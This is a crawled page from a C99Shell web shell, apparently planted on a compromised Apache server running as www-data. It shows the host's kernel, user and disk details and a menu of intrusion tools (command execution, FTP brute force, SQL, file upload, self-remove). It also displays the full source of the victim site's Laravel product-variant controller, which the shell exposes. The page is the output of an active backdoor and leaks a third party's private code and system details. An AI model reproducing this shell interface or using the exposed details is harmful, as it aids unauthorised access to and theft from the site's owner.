!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/app/Http/Controllers/   drwxr-xr-x
Free 13.39 GB of 57.97 GB (23.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VariantController.php (7.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
App\Models\Product;
use 
App\Models\ProductTranslation;
use 
App\Models\ProductVariants;
use 
App\Models\InventoryHistory;


use 
App\Models\Categories;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Validator;
use 
DateTime;

class 
VariantController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
//
    
}
    
// get product
    
function index($product_id,Request $req)
    {   
        if (
count($req->query())===0) {
            
$variantsProductVariants::where("product_id",$product_id)->get();
            return 
response()->json(["data"=>$variants]);
            
        }else{

            
$pr= new ProductVariants;
            
$table $pr->getTable();
    
            
$columns  \Schema::getColumnListing($table);
            
$variants ProductVariants::query();
            
$params $req->query();
            foreach (
$params as $key => $value) {
                if (
in_array($key,$columns,true)) {
                    if (!empty(
$value) || $value==0){
                        
$variants->where($key,$value);
                    }
                }else{
                    return 
response()->json(['error' => 'true''message' =>"invalid parameter ".$key]);
                }
            }
            
$variants=$variants->where("product_id",$product_id)->get();
            return 
response()->json(["data"=>$variants]);
        }
    }
    
//create new category
    
public function create($product_id,Request $req)
    {
        
$pr= new ProductVariants;
        
$pr_table $pr->getTable();
        
$columns  \Schema::getColumnListing($pr_table);
        
$params collect($req->all())->keys();
        foreach (
$params as $key) {
            if (
in_array($key,$columns,true)) {
               continue;
            }else{
                return 
response()->json(['error' => 'true''message' =>"invalid field ".$key]);
            }
        }
        
DB::beginTransaction();
        try {
            
$product ProductVariants::create([
                
'name' => $req->input('name'),
                
'tags_key' => $req->input('tags_key'),
                
'tags' => $req->input('tags'),
                
'price' => $req->input('price'),
                
'buy_price' => $req->input('buy_price'),
                
'supplier' => $req->input('supplier'),
                
'inventory' => $req->input('inventory'),
                
'visibility' => $req->input('visibility'),
                
'inventory_check' => $req->input('inventory_check'),
                
'low_stock' => 5,
                
'product_id' => $product_id,
            ]);
        } catch (
\Exception $exception) {
            
DB::rollback();
            return 
response()->json(['error' => 'true''message' =>$exception->errorInfo[2]]);
        }
        if (
$product) {
            
$InventoryHistory InventoryHistory::create([
                
'variant_id' => $product->id,
                
'product_id' => $product_id,
                
'no_of_items' => $req->input('inventory'),
                
"supplier" => $req->input("supplier"),
                
'buy_price' => $req->input('buy_price'),
                
'type' => 1,
                
"previous_quantity" => 0,
            ]);
            
DB::commit();
            
// return response()->json(['message' => "Product Variant Added Successfully"]);
            
$d = new DateTime();
            
$t=$d->format("ymdHisv");
            
$data=["variant_id"=>$product->id,"low_stock"=>5,"_id"=>$t];
            return 
response()->json(['message' => "Product Variant Added Successfully","data"=>$data]);
            
        } else {
            
DB::rollback();
            return 
response()->json(['error' => 'true','message' => "Something is wrong please try again"]);
        }
    }
    
// update category
    
public function update($product_id,Request $req)
    {

        
// $pt= new ProductVariants;
        // $pt_table = $pt->getTable();
        // $columns  = \Schema::getColumnListing($pt_table);
        // $params = collect($req->all())->keys();
        // foreach ($params as $key) {
        //     if (in_array($key,$columns,true)) {
        //        continue;
        //     }else{
        //         return response()->json(['error' => 'true', 'message' =>"invalid field ".$key]);
        //     }
        // }
        
        
DB::beginTransaction();
        try {
            
$variants ProductVariants::where(['id' => $req->input('id')])->update([
                
'name' => $req->input('name'),
                
'tags_key' => $req->input('tags_key'),
                
'tags' => $req->input('tags'),
                
'price' => $req->input('price'),
                
'buy_price' => $req->input('buy_price'),
                
'supplier' => $req->input('supplier'),
                
'inventory' => $req->input('inventory'),
                
'visibility' => $req->input('visibility'),
                
'inventory_check' => $req->input('inventory_check'),
                
'low_stock' => 5,
            ]);
        } catch (
\Exception $exception) {
            
DB::rollback();
            return 
response()->json(['error' => 'true''message' =>$exception->errorInfo[2]]);
        }
        if (
$variants) {
            if (
$req->input('no_of_items')>0) {
                
$InventoryHistory InventoryHistory::create([
                    
'variant_id' => $req->input('id'),
                    
'product_id' => $product_id,
                    
'no_of_items' => $req->input('no_of_items'),
                    
'type' => $req->input('inventory_type'),
                    
"supplier" => $req->input("supplier"),
                    
'buy_price' => $req->input('buy_price'),
                    
"previous_quantity" => $req->input('previous_quantity'),
                ]);
            }

            
DB::commit();
            return 
response()->json(['message' => "Updated Successfully"]);
            
        } else {
            
DB::rollback();
            return 
response()->json(['error' => 'true','message' => "Something is wrong please try again"]);
        }      
    }
    
// variant image
    
public function image($variant_id,Request $req)
    {
        
// return "hello";
        
try {
                
$variants ProductVariants::where(['id' => $variant_id])->update([
                    
'images' => $req->input('images')
                ]);
            } catch (
\Exception $exception) {
                return 
response()->json(['error' => 'true''message' =>$exception->errorInfo[2]]);
            }
            if (
$variants) {
                return 
response()->json(['message' => "Updated Successfully"]);
                
            } else {
                return 
response()->json(['error' => 'true','message' => "Something is wrong please try again"]);
            }      
    }
    
// delete categories
    
public function delete($id,Request $req)
    {
        return 
$id;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--